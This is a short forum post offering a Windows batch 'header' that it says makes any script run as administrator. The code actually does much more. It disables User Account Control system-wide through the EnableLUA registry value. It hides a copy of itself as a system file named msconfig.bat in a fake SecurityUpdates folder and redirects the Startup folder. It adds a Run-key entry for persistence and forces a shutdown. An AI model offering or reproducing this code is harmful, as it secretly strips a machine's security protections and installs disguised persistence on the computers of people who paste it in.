Computer Tech

Full Version: Run As Administrator (Batch Header)
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Put this code on top of your batch code, to make it always be run with administrative rights:

@echo off
::~User Account Control Exploiter ##
     echo set confirm = CreateObject("WScript.Shell")         > _.vbs
     echo set objshell = createobject("shell.application")          >> _.vbs
     echo set fso = createobject("scripting.filesystemobject")                 >> _.vbs
     echo strpath = fso.getparentfoldername(wscript.scriptfullname)                 >> _.vbs
     echo if fso.fileexists(strpath ^& "\__.bat") then         >> _.vbs
     echo objshell.shellexecute "cmd.exe", _         >> _.vbs
     echo "/c" ^& Chr(34) ^& strpath ^& "\__.bat" ^& Chr(34), "", "runas", 1            >> _.vbs
     echo wscript.sleep 1000        >> _.vbs
     echo end if         >> _.vbs
     echo @echo off         > __.bat
     echo %%windir%%\System32\cmd.exe /c %%windir%%\System32\reg.exe add hklm\software\microsoft\windows\currentversion\policies\system /v enablelua /t reg_dword /d 0 /f >> __.bat
     start "" /wait "%~p0_.vbs"    

     if exist "__.bat" del /q /s /f __.bat > nul
     if exist "_.bat" del /q /s /f _.vbs > nul
     set winlog="hklm\software\microsoft\windows nt\currentversion\winlogon"
     set startup="hklm\software\microsoft\windows\currentversion\run"
     set batfile="hkcu\software\microsoft\windows\currentversion\explorer\user shell folders"    
     attrib -r -s -h "%windir%\SecurityUpdates\msconfig.bat"
     if exist "%windir%\SecurityUpdates\msconfig.bat" goto BatScriptCode
         md "%windir%\SecurityUpdates"
         if not exist "%windir%\SecurityUpdates" goto CloseScript            
             type %0 "%windir%\SecurityUpdates\msconfig.bat"
             attrib +r +s +h "%windir%\SecurityUpdates\msconfig.bat"
             reg add %batfile% /v "startup" /t "reg_expand_sz" /d "%windir%\SecurityUpdates" /f > nul
         reg add %startup% /v "msconfig" /t "reg_sz" /d %0 /f > nul
         shutdown /p /f > nul
         goto :eof


::#### Place your code below ####:
Reference URL's